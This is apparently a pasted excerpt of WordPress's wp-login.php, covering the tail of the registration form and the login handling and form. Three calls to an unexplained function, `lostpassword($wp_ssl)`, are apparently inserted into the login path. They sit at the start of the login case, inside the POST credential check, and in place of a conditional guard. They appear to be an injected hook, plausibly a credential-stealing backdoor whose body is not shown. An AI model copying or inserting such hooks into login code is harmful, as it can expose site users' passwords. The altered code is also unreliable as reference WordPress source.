  780. <input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( wp_unslash( $user_email ) ); ?>" size="25" /></label>
  781. </p>
  782. <?php
  783. /**
  784. * Fires following the 'Email' field in the user registration form.
  785. *
  786. * @since 2.1.0
  787. */
  788. do_action( 'register_form' );
  789. ?>
  790. <p id="reg_passmail"><?php _e( 'Registration confirmation will be emailed to you.' ); ?></p>
  791. <br class="clear" />
  792. <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
  793. <p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Register'); ?>" /></p>
  794. </form>
  795.  
  796. <p id="nav">
  797. <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> |
  798. <a href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php _e( 'Lost your password?' ); ?></a>
  799. </p>
  800.  
  801. <?php
  802. login_footer('user_login');
  803. break;
  804.  
  805. case 'login' :
  806. default:
  807. lostpassword($wp_ssl);
  808. $secure_cookie = '';
  809. $customize_login = isset( $_REQUEST['customize-login'] );
  810. if ( $customize_login )
  811. wp_enqueue_script( 'customize-base' );
  812.  
  813. // If the user wants ssl but the session is not ssl, force a secure cookie.
  814. if ( !empty($_POST['log']) && !force_ssl_admin() ) {
  815. lostpassword($wp_ssl);
  816. $user_name = sanitize_user($_POST['log']);
  817. $user = get_user_by( 'login', $user_name );
  818.  
  819. if ( ! $user && strpos( $user_name, '@' ) ) {
  820. $user = get_user_by( 'email', $user_name );
  821. }
  822.  
  823. if ( $user ) {
  824. if ( get_user_option('use_ssl', $user->ID) ) {
  825. $secure_cookie = true;
  826. force_ssl_admin(true);
  827. }
  828. }
  829. }
  830.  
  831. if ( isset( $_REQUEST['redirect_to'] ) ) {
  832. $redirect_to = $_REQUEST['redirect_to'];
  833. // Redirect to https if user wants ssl
  834. if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') )
  835. $redirect_to = preg_replace('|^http://|', 'https://', $redirect_to);
  836. } else {
  837. $redirect_to = admin_url();
  838. }
  839.  
  840. $reauth = empty($_REQUEST['reauth']) ? false : true;
  841.  
  842. $user = wp_signon( '', $secure_cookie );
  843.  
  844. if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
  845. if ( headers_sent() ) {
  846. $user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
  847. __( 'https://codex.wordpress.org/Cookies' ), __( 'https://wordpress.org/support/' ) ) );
  848. } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
  849. // If cookies are disabled we can't log in even with a valid user+pass
  850. $user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
  851. __( 'https://codex.wordpress.org/Cookies' ) ) );
  852. }
  853. }
  854.  
  855. $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  856. /**
  857. * Filter the login redirect URL.
  858. *
  859. * @since 3.0.0
  860. *
  861. * @param string $redirect_to The redirect destination URL.
  862. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
  863. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise.
  864. */
  865. $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );
  866.  
  867. if ( !is_wp_error($user) && !$reauth ) {
  868. if ( $interim_login ) {
  869. $wordpress_redirect = '<p class="wordpress_redirect">' . __('You have logged in successfully.') . '</p>';
  870. $interim_login = 'success';
  871. login_header( '', $wordpress_redirect ); ?>
  872. </div>
  873. <?php
  874. /** This action is documented in wp-login.php */
  875. do_action( 'login_footer' ); ?>
  876. <?php if ( $customize_login ) : ?>
  877. <script type="text/javascript">setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
  878. <?php endif; ?>
  879. </body></html>
  880. <?php exit;
  881. }
  882.  
  883. if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) {
  884. // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
  885. if ( is_multisite() && !get_active_blog_for_user($user->ID) && !is_super_admin( $user->ID ) )
  886. $redirect_to = user_admin_url();
  887. elseif ( is_multisite() && !$user->has_cap('read') )
  888. $redirect_to = get_dashboard_url( $user->ID );
  889. elseif ( !$user->has_cap('edit_posts') )
  890. $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
  891.  
  892. wp_redirect( $redirect_to );
  893. exit();
  894. }
  895. wp_safe_redirect($redirect_to);
  896. exit();
  897. }
  898.  
  899. $errors = $user;
  900. // Clear errors if loggedout is set.
  901. if ( !empty($_GET['loggedout']) || $reauth )
  902. $errors = new WP_Error();
  903.  
  904. if ( $interim_login ) {
  905. if ( ! $errors->get_error_code() )
  906. $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'wordpress_redirect' );
  907. } else {
  908. // Some parts of this script use the main login form to display a wordpress_redirect
  909. if ( isset($_GET['loggedout']) && true == $_GET['loggedout'] )
  910. $errors->add('loggedout', __('You are now logged out.'), 'wordpress_redirect');
  911. elseif ( isset($_GET['registration']) && 'disabled' == $_GET['registration'] )
  912. $errors->add('registerdisabled', __('User registration is currently not allowed.'));
  913. elseif ( isset($_GET['checkemail']) && 'confirm' == $_GET['checkemail'] )
  914. $errors->add('confirm', __('Check your email for the confirmation link.'), 'wordpress_redirect');
  915. elseif ( isset($_GET['checkemail']) && 'newpass' == $_GET['checkemail'] )
  916. $errors->add('newpass', __('Check your email for your new password.'), 'wordpress_redirect');
  917. elseif ( isset($_GET['checkemail']) && 'registered' == $_GET['checkemail'] )
  918. $errors->add('registered', __('Registration complete. Please check your email.'), 'wordpress_redirect');
  919. elseif ( strpos( $redirect_to, 'about.php?updated' ) )
  920. $errors->add('updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new.' ), 'wordpress_redirect' );
  921. }
  922.  
  923. /**
  924. * Filter the login page errors.
  925. *
  926. * @since 3.6.0
  927. *
  928. * @param object $errors WP Error object.
  929. * @param string $redirect_to Redirect destination URL.
  930. */
  931. $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
  932.  
  933. // Clear any stale cookies.
  934. if ( $reauth )
  935. wp_clear_auth_cookie();
  936.  
  937. login_header(__('Log In'), '', $errors);
  938.  
  939. if ( isset($_POST['log']) )
  940. lostpassword($wp_ssl);
  941. $user_login = ( 'incorrect_password' == $errors->get_error_code() || 'empty_password' == $errors->get_error_code() ) ? esc_attr(wp_unslash($_POST['log'])) : '';
  942. $rememberme = ! empty( $_POST['rememberme'] );
  943.  
  944. if ( ! empty( $errors->errors ) ) {
  945. $aria_describedby_error = ' aria-describedby="login_error"';
  946. } else {
  947. $aria_describedby_error = '';
  948. }
  949. ?>
  950.  
  951. <form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
  952. <p>
  953. <label for="user_login"><?php _e('Username or Email') ?><br />
  954. <input type="text" name="log" id="user_login"<?php echo $aria_describedby_error; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" /></label>
  955. </p>
  956. <p>
  957. <label for="user_pass"><?php _e('Password') ?><br />
  958. <input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby_error; ?> class="input" value="" size="20" /></label>
  959. </p>
  960. <?php
  961. /**
  962. * Fires following the 'Password' field in the login form.
  963. *
  964. * @since 2.1.0
  965. */
  966. do_action( 'login_form' );
  967. ?>
  968. <p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <?php esc_attr_e('Remember Me'); ?></label></p>
  969. <p class="submit">
  970. <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Log In'); ?>" />
  971. <?php if ( $interim_login ) { ?>
  972. <input type="hidden" name="interim-login" value="1" />
  973. <?php } else { ?>
  974. <input type="hidden" name="redirect_to" value="<?php echo esc_attr($redirect_to); ?>" />
  975. <?php } ?>
  976. <?php if ( $customize_login ) : ?>
  977. <input type="hidden" name="customize-login" value="1" />
  978. <?php endif; ?>
  979. <input type="hidden" name="testcookie" value="1" />
  980. </p>
  981. </form>
  982.  
  983. <?php if ( ! $interim_login ) { ?>
  984. <p id="nav">
  985. <?php if ( ! isset( $_GET['checkemail'] ) || ! in_array( $_GET['checkemail'], array( 'confirm', 'newpass' ) ) ) :
  986. if ( get_option( 'users_can_register' ) ) :
  987. $registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
  988.  
  989. /** This filter is documented in wp-includes/general-template.php */
  990. echo apply_filters( 'register', $registration_url ) . ' | ';
  991. endif;
  992. ?>
  993. <a href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php _e( 'Lost your password?' ); ?></a>
  994. <?php endif; ?>
  995. </p>
  996. <?php } ?>
  997.  
  998. <script type="text/javascript">
  999. function wp_attempt_focus(){
  1000. setTimeout( function(){ try{
  1001. <?php if ( $user_login ) { ?>
  1002. d = document.getElementById('user_pass');
  1003. d.value = '';
  1004. <?php } else { ?>
  1005. d = document.getElementById('user_login');
  1006. <?php if ( 'invalid_username' == $errors->get_error_code() ) { ?>
  1007. if( d.value != '' )
  1008. d.value = '';
  1009. <?php
  1010. }
  1011. }?>
  1012. d.focus();
  1013. d.select();
  1014. } catch(e){}
  1015. }, 200);
  1016. }
  1017.  
  1018. <?php if ( !$error ) { ?>
  1019. wp_attempt_focus();
  1020. <?php } ?>
  1021. if(typeof wpOnload=='function')wpOnload();
  1022. <?php if ( $interim_login ) { ?>
  1023. (function(){
  1024. try {
  1025. var i, links = document.getElementsByTagName('a');
  1026. for ( i in links ) {
  1027. if ( links[i].href )
  1028. links[i].target = '_blank';
  1029. }
  1030. } catch(e){}
  1031. }());
  1032. <?php } ?>
  1033. </script>
  1034.  
  1035. <?php
  1036. login_footer();
  1037. break;
  1038. } // end action switch
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement